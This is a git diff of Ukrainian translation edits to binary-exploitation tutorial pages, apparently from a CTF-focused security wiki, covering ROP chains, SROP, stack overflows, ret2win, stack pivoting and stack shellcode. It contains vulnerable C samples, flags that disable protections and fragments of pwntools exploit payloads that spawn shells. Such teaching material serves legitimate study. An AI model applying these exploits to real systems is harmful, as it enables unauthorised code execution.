Наступна команда створює повний `sys_execve` ROP ланцюг для статичного бінарного файлу, коли є gadgets write-what-where та інструкції syscall:
|
||||
Наступна команда створює повний `sys_execve` ROP ланцюг для статичного бінарного файлу, коли є gadgets для запису-що-де і інструкції syscall:
|
||||
```bash
|
||||
ROPgadget --binary vuln --ropchain
|
||||
```
|
||||
@ -96,7 +96,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## Відсутність гаджетів
|
||||
|
||||
Якщо у вас **відсутні гаджети**, наприклад, щоб записати `/bin/sh` в пам'ять, ви можете використовувати **техніку SROP для контролю всіх значень регістрів** (включаючи RIP та регістри параметрів) зі стеку:
|
||||
Якщо у вас **відсутні гаджети**, наприклад, для запису `/bin/sh` в пам'ять, ви можете використовувати **техніку SROP для контролю всіх значень регістрів** (включаючи RIP та регістри параметрів) зі стеку:
|
||||
|
||||
{{#ref}}
|
||||
../srop-sigreturn-oriented-programming/
|
||||
@ -174,7 +174,7 @@ target.interactive()
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
|
||||
- 64 біти, без PIE, nx, записати в пам'ять ROP для виклику `execve` і стрибнути туди.
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
|
||||
- 64 біти, nx, без PIE, записати в пам'ять ROP для виклику `execve` і стрибнути туди. Для запису в стек зловживають функцією, яка виконує математичні операції.
|
||||
- 64 біти, nx, без PIE, записати в пам'ять ROP для виклику `execve` і стрибнути туди. Для запису в стек зловживається функцією, яка виконує математичні операції.
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 біти, без PIE, nx, BF canary, записати в пам'ять ROP для виклику `execve` і стрибнути туди.
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**`Sigreturn`** - це спеціальний **syscall**, який в основному використовується для очищення після завершення виконання обробника сигналів. Сигнали - це переривання, які надсилаються програмі операційною системою, часто для вказівки на те, що сталася якась виняткова ситуація. Коли програма отримує сигнал, вона тимчасово призупиняє свою поточну роботу, щоб обробити сигнал за допомогою **обробника сигналів**, спеціальної функції, призначеної для роботи з сигналами.
|
||||
|
||||
Після завершення обробника сигналів програма повинна **відновити свій попередній стан**, ніби нічого не сталося. Тут і вступає в гру **`sigreturn`**. Він допомагає програмі **повернутися з обробника сигналів** і відновлює стан програми, очищаючи стековий фрейм (сектор пам'яті, що зберігає виклики функцій і локальні змінні), який використовувався обробником сигналів.
|
||||
Після завершення обробника сигналів програма повинна **відновити свій попередній стан**, ніби нічого не сталося. Тут і вступає в гру **`sigreturn`**. Він допомагає програмі **повернутися з обробника сигналів** і відновлює стан програми, очищаючи стековий фрейм (секцію пам'яті, яка зберігає виклики функцій і локальні змінні), що використовувався обробником сигналів.
|
||||
|
||||
Цікава частина полягає в тому, як **`sigreturn`** відновлює стан програми: він робить це, зберігаючи **всі значення регістрів ЦП на стеку.** Коли сигнал більше не заблокований, **`sigreturn` витягує ці значення зі стеку**, ефективно скидаючи регістри ЦП до їх стану до обробки сигналу. Це включає регістр вказівника стеку (RSP), який вказує на поточну верхню частину стеку.
|
||||
|
||||
@ -90,7 +90,7 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Перевірте також [**експлойт звідси**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html), де бінар вже викликав `sigreturn`, тому немає необхідності будувати це з **ROP**:
|
||||
Перевірте також [**експлойт звідси**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html), де бінар вже викликав `sigreturn`, тому немає потреби будувати це з **ROP**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -128,13 +128,13 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
|
||||
- Бінарний асемблер, який дозволяє **записувати в стек** і потім викликає **`sigreturn`** syscall. Можливо записати в стек [**ret2syscall**](../rop-syscall-execv/) через структуру **sigreturn** і прочитати прапорець, який знаходиться в пам'яті бінарного файлу.
|
||||
- Бінарний код на асемблері, який дозволяє **записувати в стек** і потім викликає **`sigreturn`** syscall. Можливо записати в стек [**ret2syscall**](../rop-syscall-execv/index.html) через структуру **sigreturn** і прочитати прапор, який знаходиться в пам'яті бінарного файлу.
|
||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
||||
- Бінарний асемблер, який дозволяє **записувати в стек** і потім викликає **`sigreturn`** syscall. Можливо записати в стек [**ret2syscall**](../rop-syscall-execv/) через структуру **sigreturn** (бінарник має рядок `/bin/sh`).
|
||||
- Бінарний код на асемблері, який дозволяє **записувати в стек** і потім викликає **`sigreturn`** syscall. Можливо записати в стек [**ret2syscall**](../rop-syscall-execv/index.html) через структуру **sigreturn** (бінарник має рядок `/bin/sh`).
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 біти, без relro, без canary, nx, без pie. Простий переповнення буфера, що використовує функцію `gets` з відсутністю гаджетів, які виконують [**ret2syscall**](../rop-syscall-execv/). ROP ланцюг записує `/bin/sh` в `.bss`, викликаючи `gets` знову, зловживає функцією **`alarm`**, щоб встановити eax на `0xf`, щоб викликати **SROP** і виконати оболонку.
|
||||
- 64 біти, без relro, без canary, nx, без pie. Простий переповнення буфера, що використовує функцію `gets` з відсутністю гаджетів, яка виконує [**ret2syscall**](../rop-syscall-execv/index.html). ROP ланцюг записує `/bin/sh` в `.bss`, викликаючи `gets` знову, зловживає функцією **`alarm`**, щоб встановити eax на `0xf`, щоб викликати **SROP** і виконати оболонку.
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- 64 біти асемблерної програми, без relro, без canary, nx, без pie. Потік дозволяє записувати в стек, контролювати кілька регістрів і викликати syscall, а потім викликає `exit`. Вибраний syscall - це `sigreturn`, який встановить регістри і перемістить `eip`, щоб викликати попередню інструкцію syscall і виконати `memprotect`, щоб встановити бінарний простір на `rwx` і встановити ESP в бінарному просторі. Далі програма знову викличе `read` в ESP, але в цьому випадку ESP буде вказувати на наступну інструкцію, тому передача shellcode запише його як наступну інструкцію і виконає.
|
||||
- 64 біти, програма на асемблері, без relro, без canary, nx, без pie. Потік дозволяє записувати в стек, контролювати кілька регістрів і викликати syscall, а потім викликає `exit`. Вибраний syscall - це `sigreturn`, який встановить регістри і перемістить `eip`, щоб викликати попередню інструкцію syscall і виконати `memprotect`, щоб встановити простір бінарного файлу на `rwx` і встановити ESP в бінарному просторі. Далі програма знову викличе `read` в ESP, але в цьому випадку ESP буде вказувати на наступну інструкцію, тому передача shellcode запише його як наступну інструкцію і виконає.
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP використовується для надання привілеїв виконання (memprotect) місцю, де був розміщений shellcode.
|
||||
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Що таке переповнення стеку
|
||||
|
||||
**Переповнення стеку** - це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезаписують сусідній простір пам'яті**, що призводить до пошкодження дійсних даних, порушення контролю потоку виконання та потенційно до виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідних даних.
|
||||
**Переповнення стеку** - це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезаписують сусідній простір пам'яті**, що призводить до пошкодження дійсних даних, порушення контролю потоку виконання та потенційного виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідних даних.
|
||||
|
||||
Основна проблема цього перезапису полягає в тому, що **збережений вказівник інструкцій (EIP/RIP)** та **збережений базовий вказівник (EBP/RBP)** для повернення до попередньої функції **зберігаються в стеці**. Тому зловмисник зможе перезаписати їх і **контролювати потік виконання програми**.
|
||||
|
||||
Вразливість зазвичай виникає, оскільки функція **копіює в стек більше байтів, ніж виділено для неї**, тим самим здатна перезаписати інші частини стеку.
|
||||
|
||||
Деякі загальні функції, вразливі до цього, це: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції, такі як **`fgets`**, **`read` & `memcpy`**, які приймають **аргумент довжини**, можуть бути використані в уразливий спосіб, якщо вказана довжина перевищує виділену.
|
||||
Деякі загальні функції, вразливі до цього, це: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції, такі як **`fgets`**, **`read`** та **`memcpy`**, які приймають **аргумент довжини**, можуть бути використані в уразливий спосіб, якщо вказана довжина перевищує виділену.
|
||||
|
||||
Наприклад, наступні функції можуть бути вразливими:
|
||||
```c
|
||||
@ -21,11 +21,11 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Знаходження зсувів стекових переповнень
|
||||
### Знаходження зсувів Stack Overflow
|
||||
|
||||
Найпоширеніший спосіб знайти стекові переповнення - це ввести дуже великий вхід з `A`s (наприклад, `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, що вказує на те, що **адресу `0x41414141` намагалися отримати доступ**.
|
||||
Найпоширеніший спосіб знайти зсуви стеку - це ввести дуже великий вхід з `A`s (наприклад, `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, що вказує на те, що **адресу `0x41414141` намагалися отримати доступ**.
|
||||
|
||||
Більше того, як тільки ви виявите, що існує вразливість стекового переповнення, вам потрібно буде знайти зсув, поки не стане можливим **перезаписати адресу повернення**, для цього зазвичай використовується **послідовність Де Брюйна.** Яка для даного алфавіту розміру _k_ і підпослідовностей довжини _n_ є **циклічною послідовністю, в якій кожна можлива підпослідовність довжини \_n**\_\*\* з'являється точно один раз\*\* як безперервна підпослідовність.
|
||||
Більше того, як тільки ви виявите, що існує вразливість Stack Overflow, вам потрібно буде знайти зсув, поки не стане можливим **перезаписати адресу повернення**, для цього зазвичай використовується **послідовність Де Брюйна.** Яка для даного алфавіту розміру _k_ і підпослідовностей довжини _n_ є **циклічною послідовністю, в якій кожна можлива підпослідовність довжини \_n**\_\*\* з'являється точно один раз\*\* як безперервна підпослідовність.
|
||||
|
||||
Таким чином, замість того, щоб вручну з'ясовувати, який зсув потрібен для контролю EIP, можна використовувати в якості заповнювача одну з цих послідовностей, а потім знайти зсув байтів, які закінчилися перезаписом.
|
||||
|
||||
@ -51,19 +51,19 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
## Використання переповнень стеку
|
||||
|
||||
Під час переповнення (якщо розмір переповнення достатньо великий) ви зможете **перезаписати** значення локальних змінних всередині стеку, поки не досягнете збереженого **EBP/RBP та EIP/RIP (або навіть більше)**.\
|
||||
Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб, коли функція закінчується, **управлінський потік перенаправлявся туди, куди вказав користувач** у цьому вказівнику.
|
||||
Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб, коли функція закінчується, **управлінський потік перенаправлявся туди, куди вказав користувач** в цьому вказівнику.
|
||||
|
||||
Однак у інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах).
|
||||
Однак в інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах).
|
||||
|
||||
### Ret2win
|
||||
|
||||
У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** та **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/) буде вимкнено), щоб, коли вразлива функція повертається, прихована функція буде викликана:
|
||||
У цьому типі CTF викликів є **функція**, **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** та **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб, коли вразлива функція повертається, прихована функція буде викликана:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
{{#endref}}
|
||||
|
||||
### Стековий Shellcode
|
||||
### Stack Shellcode
|
||||
|
||||
У цьому сценарії зловмисник може помістити shellcode у стек і зловживати контрольованим EIP/RIP, щоб стрибнути до shellcode і виконати довільний код:
|
||||
|
||||
@ -71,9 +71,9 @@ ret2win/
|
||||
stack-shellcode/
|
||||
{{#endref}}
|
||||
|
||||
### ROP та Ret2... техніки
|
||||
### ROP & Ret2... техніки
|
||||
|
||||
Ця техніка є основною основою для обходу основного захисту попередньої техніки: **Не виконавчий стек (NX)**. І вона дозволяє виконувати кілька інших технік (ret2lib, ret2syscall...), які закінчать виконання довільних команд, зловживаючи існуючими інструкціями в бінарному файлі:
|
||||
Ця техніка є основною основою для обходу основного захисту попередньої техніки: **Не виконавчий стек (NX)**. І вона дозволяє виконувати кілька інших технік (ret2lib, ret2syscall...), які закінчуються виконанням довільних команд, зловживаючи існуючими інструкціями в бінарному файлі:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
**Ret2win** завдання є популярною категорією в **Capture The Flag (CTF)** змаганнях, особливо в завданнях, що стосуються **binary exploitation**. Мета полягає в тому, щоб експлуатувати вразливість у даному бінарному файлі для виконання конкретної, не викликаної функції в бінарному файлі, яка часто називається чимось на кшталт `win`, `flag` тощо. Ця функція, коли її виконують, зазвичай виводить прапор або повідомлення про успіх. Завдання зазвичай передбачає перезаписування **адреси повернення** в стеку, щоб відвести потік виконання до бажаної функції. Ось більш детальне пояснення з прикладами:
|
||||
**Ret2win** завдання є популярною категорією в **Capture The Flag (CTF)** змаганнях, особливо в завданнях, що пов'язані з **binary exploitation**. Мета полягає в тому, щоб експлуатувати вразливість у даному бінарному файлі для виконання конкретної, не викликаної функції в бінарному файлі, яка часто називається чимось на кшталт `win`, `flag` тощо. Ця функція, коли її виконують, зазвичай виводить прапор або повідомлення про успіх. Завдання зазвичай передбачає перезаписування **адреси повернення** в стеку, щоб відвести потік виконання до бажаної функції. Ось більш детальне пояснення з прикладами:
|
||||
|
||||
### C приклад
|
||||
### C Example
|
||||
|
||||
Розглянемо просту C програму з вразливістю та функцією `win`, яку ми маємо намір викликати:
|
||||
Розглянемо просту програму на C з вразливістю та функцією `win`, яку ми маємо намір викликати:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -31,7 +31,7 @@ return 0;
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-m32`: Скомпілювати програму як 32-бітний бінарний файл (це необов'язково, але поширено в CTF викликах).
|
||||
- `-m32`: Скомпілювати програму як 32-бітний бінарний файл (це необов'язково, але поширено в CTF завданнях).
|
||||
- `-fno-stack-protector`: Вимкнути захист від переповнень стеку.
|
||||
- `-z execstack`: Дозволити виконання коду в стеку.
|
||||
- `-no-pie`: Вимкнути Position Independent Executable, щоб адреса функції `win` не змінювалася.
|
||||
@ -65,12 +65,12 @@ objdump -d vulnerable | grep win
|
||||
```
|
||||
Ця команда покаже вам асемблер функції `win`, включаючи її початкову адресу. 
|
||||
|
||||
Скрипт на Python надсилає ретельно підготовлене повідомлення, яке, обробляючись функцією `vulnerable_function`, переповнює буфер і перезаписує адресу повернення в стеку адресою `win`. Коли `vulnerable_function` повертається, замість повернення до `main` або виходу, він переходить до `win`, і повідомлення виводиться.
|
||||
Python-скрипт надсилає ретельно підготовлене повідомлення, яке, оброблене функцією `vulnerable_function`, переповнює буфер і перезаписує адресу повернення в стеку адресою `win`. Коли `vulnerable_function` повертається, замість повернення до `main` або виходу, вона переходить до `win`, і повідомлення виводиться.
|
||||
|
||||
## Захист
|
||||
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **повинен бути вимкнений** для того, щоб адреса була надійною між виконаннями, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win. У деяких випадках, коли функція, що викликає переповнення, є `read` або подібною, ви можете зробити **Часткове Перезаписування** 1 або 2 байтів, щоб змінити адресу повернення на функцію win. Через те, як працює ASLR, останні три шістнадцяткові нібли не рандомізовані, тому є **1/16 шанс** (1 нібл) отримати правильну адресу повернення.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **повинен бути вимкнений**, щоб адреса була надійною під час виконання, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win. У деяких випадках, коли функція, що викликає переповнення, є `read` або подібною, ви можете зробити **Часткове Перезаписування** 1 або 2 байтів, щоб змінити адресу повернення на функцію win. Через те, як працює ASLR, останні три шістнадцяткові нібли не рандомізовані, тому є **1/16 шанс** (1 nibble) отримати правильну адресу повернення.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
|
||||
|
||||
## Інші приклади та посилання
|
||||
|
||||
@ -82,7 +82,7 @@ objdump -d vulnerable | grep win
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
|
||||
- 64 біти, без ASLR
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
||||
- 32 біти, без ASLR, подвійне мале переповнення, спочатку для переповнення стека і збільшення розміру другого переповнення
|
||||
- 32 біти, без ASLR, подвійне мале переповнення, спочатку переповнює стек і збільшує розмір другого переповнення
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 біт, relro, без канарки, nx, без pie, форматний рядок для перезапису адреси `fflush` з функцією win (ret2win)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
|
||||
|
@ -18,21 +18,21 @@ ret
|
||||
|
||||
Ця техніка особливо корисна, коли ви можете **змінити регістр EBP, але не маєте прямого способу змінити регістр EIP**. Вона використовує поведінку функцій, коли вони закінчують виконання.
|
||||
|
||||
Якщо під час виконання `fvuln` вам вдасться впровадити **фальшивий EBP** у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode (плюс 4 байти для врахування операції `pop`), ви можете непрямо контролювати EIP. Коли `fvuln` повертається, ESP встановлюється на це створене місце, а наступна операція `pop` зменшує ESP на 4, **ефективно вказуючи на адресу, збережену атакуючим там.**\
|
||||
Зверніть увагу, що вам **потрібно знати 2 адреси**: ту, куди ESP буде йти, куди вам потрібно буде записати адресу, на яку вказує ESP.
|
||||
Якщо під час виконання `fvuln` вам вдасться ввести **фальшивий EBP** у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode (плюс 4 байти для врахування операції `pop`), ви можете непрямо контролювати EIP. Коли `fvuln` повертається, ESP встановлюється на це створене місце, а наступна операція `pop` зменшує ESP на 4, **ефективно вказуючи на адресу, збережену атакуючим там.**\
|
||||
Зверніть увагу, що вам **потрібно знати 2 адреси**: ту, куди ESP буде йти, де вам потрібно буде записати адресу, на яку вказує ESP.
|
||||
|
||||
#### Конструкція експлойту
|
||||
|
||||
Спочатку вам потрібно знати **адресу, куди ви можете записувати довільні дані / адреси**. ESP буде вказувати сюди і **виконає перший `ret`**.
|
||||
Спочатку вам потрібно знати **адресу, куди ви можете записати довільні дані / адреси**. ESP буде вказувати сюди і **виконає перший `ret`**.
|
||||
|
||||
Потім вам потрібно знати адресу, яку використовує `ret`, яка **виконає довільний код**. Ви можете використовувати:
|
||||
Потім вам потрібно знати адресу, яку використовує `ret`, що **виконає довільний код**. Ви можете використовувати:
|
||||
|
||||
- Дійсну [**ONE_GADGET**](https://github.com/david942j/one_gadget) адресу.
|
||||
- Адресу **`system()`**, за якою йдуть **4 байти сміття** та адреса `"/bin/sh"` (x86 біт).
|
||||
- Адресу **гаджета `jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), за яким йде **shellcode** для виконання.
|
||||
- Деяку [**ROP**](../rop-return-oriented-programing/) ланцюг
|
||||
- Адресу **`jump esp;`** гаджета ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), за яким йде **shellcode** для виконання.
|
||||
- Деяку [**ROP**](../rop-return-oriented-programing/index.html) ланцюг
|
||||
|
||||
Пам'ятайте, що перед будь-якою з цих адрес у контрольованій частині пам'яті повинно бути **`4` байти** через **`pop`** частину інструкції `leave`. Було б можливим зловживати цими 4B, щоб встановити **другий фальшивий EBP** і продовжити контролювати виконання.
|
||||
Пам'ятайте, що перед будь-якими з цих адрес у контрольованій частині пам'яті повинно бути **`4` байти** через **`pop`** частину інструкції `leave`. Було б можливо зловживати цими 4B, щоб встановити **другий фальшивий EBP** і продовжити контролювати виконання.
|
||||
|
||||
#### Off-By-One Exploit
|
||||
|
||||
@ -43,20 +43,20 @@ ret
|
||||
|
||||
### **EBP Chaining**
|
||||
|
||||
Отже, поміщаючи контрольовану адресу в запис EBP стеку та адресу для `leave; ret` в EIP, можливо **перемістити `ESP` на контрольовану адресу EBP зі стеку**.
|
||||
Отже, поміщаючи контрольовану адресу в запис EBP стека та адресу для `leave; ret` в EIP, можливо **перемістити `ESP` на контрольовану адресу EBP зі стека**.
|
||||
|
||||
Тепер **`ESP`** контролюється, вказуючи на бажану адресу, а наступна інструкція для виконання - `RET`. Щоб зловживати цим, можливо помістити в контрольоване місце ESP наступне:
|
||||
Тепер **`ESP`** контролюється, вказуючи на бажану адресу, а наступна інструкція для виконання - це `RET`. Щоб зловживати цим, можливо помістити в контрольоване місце ESP наступне:
|
||||
|
||||
- **`&(наступний фальшивий EBP)`** -> Завантажити новий EBP через `pop ebp` з інструкції `leave`
|
||||
- **`&(next fake EBP)`** -> Завантажити новий EBP через `pop ebp` з інструкції `leave`
|
||||
- **`system()`** -> Викликаний через `ret`
|
||||
- **`&(leave;ret)`** -> Викликаний після завершення системи, він перемістить ESP на фальшивий EBP і почне знову
|
||||
- **`&("/bin/sh")`**-> Параметр для `system`
|
||||
|
||||
В основному, таким чином можливо з'єднати кілька фальшивих EBP для контролю потоку програми.
|
||||
|
||||
Це схоже на [ret2lib](../rop-return-oriented-programing/ret2lib/), але складніше без очевидної вигоди, але може бути цікавим у деяких крайніх випадках.
|
||||
Це схоже на [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), але складніше без очевидної вигоди, але може бути цікавим у деяких крайніх випадках.
|
||||
|
||||
Більше того, ось вам [**приклад завдання**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), яке використовує цю техніку з **витоком стеку** для виклику виграшної функції. Це фінальний payload зі сторінки:
|
||||
Більше того, ось вам [**приклад завдання**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), яке використовує цю техніку з **витоком стека**, щоб викликати виграшну функцію. Це фінальний payload зі сторінки:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -188,13 +188,13 @@ xchg <reg>, rsp
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 біти, експлуатація off by one з ланцюгом rop, що починається з ret sled
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 біти, без relro, canary, nx та pie. Програма надає leak для стеку або pie та WWW для qword. Спочатку отримайте leak стеку та використайте WWW, щоб повернутися і отримати leak pie. Потім використайте WWW, щоб створити вічний цикл, зловживаючи записами `.fini_array` + викликом `__libc_csu_fini` ([більше інформації тут](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Зловживаючи цим "вічним" записом, записується ROP-ланцюг у .bss і в кінці викликається, підіймаючись з RBP.
|
||||
- 64 біти, без relro, canary, nx і pie. Програма надає leak для стеку або pie і WWW для qword. Спочатку отримайте leak стеку і використайте WWW, щоб повернутися і отримати leak pie. Потім використайте WWW, щоб створити вічний цикл, зловживаючи записами `.fini_array` + викликом `__libc_csu_fini` ([більше інформації тут](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Зловживаючи цим "вічним" записом, записується ROP-ланцюг у .bss і в кінці викликається, підіймаючись з RBP.
|
||||
|
||||
## ARM64
|
||||
|
||||
В ARM64, **пролог та епілоги** функцій **не зберігають і не відновлюють реєстр SP** у стеку. Більше того, **інструкція `RET`** не повертає за адресою, на яку вказує SP, а **за адресою всередині `x30`**.
|
||||
В ARM64, **пролог і епілог** функцій **не зберігають і не відновлюють реєстр SP** у стеку. Більше того, **інструкція `RET`** не повертає за адресою, на яку вказує SP, а **за адресою всередині `x30`**.
|
||||
|
||||
Отже, за замовчуванням, просто зловживаючи епілогом, ви **не зможете контролювати реєстр SP**, перезаписуючи деякі дані всередині стеку. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб **контролювати реєстр `x30`**.
|
||||
Отже, за замовчуванням, просто зловживаючи епілогом, ви **не зможете контролювати реєстр SP**, переписуючи деякі дані всередині стеку. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб **контролювати реєстр `x30`**.
|
||||
|
||||
- пролог
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### C Example: A Vulnerable Program
|
||||
|
||||
Давайте почнемо з простого прикладу вразливої програми на C:
|
||||
Let's start with a simple example of a vulnerable C program:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -33,7 +33,7 @@ return 0;
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Вимикає захист стеку.
|
||||
- `-z execstack`: Робить стек виконуваним, що необхідно для виконання shellcode, збереженого в стеці.
|
||||
- `-z execstack`: Робить стек виконуваним, що необхідно для виконання shellcode, збереженого на стеку.
|
||||
- `-no-pie`: Вимикає Position Independent Executable, що полегшує прогнозування адреси пам'яті, де буде розташований наш shellcode.
|
||||
- `-m32`: Компілірує програму як 32-бітний виконуваний файл, що часто використовується для спрощення розробки експлойтів.
|
||||
|
||||
@ -66,26 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Цей скрипт створює корисне навантаження, що складається з **NOP слайду**, **shellcode**, а потім перезаписує **EIP** адресою, що вказує на NOP слайд, забезпечуючи виконання shellcode.
|
||||
Цей скрипт створює корисне навантаження, що складається з **NOP слайду**, **shellcode** і потім перезаписує **EIP** адресою, що вказує на NOP слайд, забезпечуючи виконання shellcode.
|
||||
|
||||
**NOP слайд** (`asm('nop')`) використовується для збільшення ймовірності того, що виконання "зсуватиметься" в наш shellcode незалежно від точної адреси. Налаштуйте аргумент `p32()` на початкову адресу вашого буфера плюс зсув, щоб потрапити в NOP слайд.
|
||||
**NOP слайд** (`asm('nop')`) використовується для збільшення ймовірності того, що виконання "зсуватиметься" до нашого shellcode, незалежно від точної адреси. Налаштуйте аргумент `p32()` на початкову адресу вашого буфера плюс зсув, щоб потрапити в NOP слайд.
|
||||
|
||||
## Захист
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **повинен бути вимкнений** для того, щоб адреса була надійною під час виконань, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
|
||||
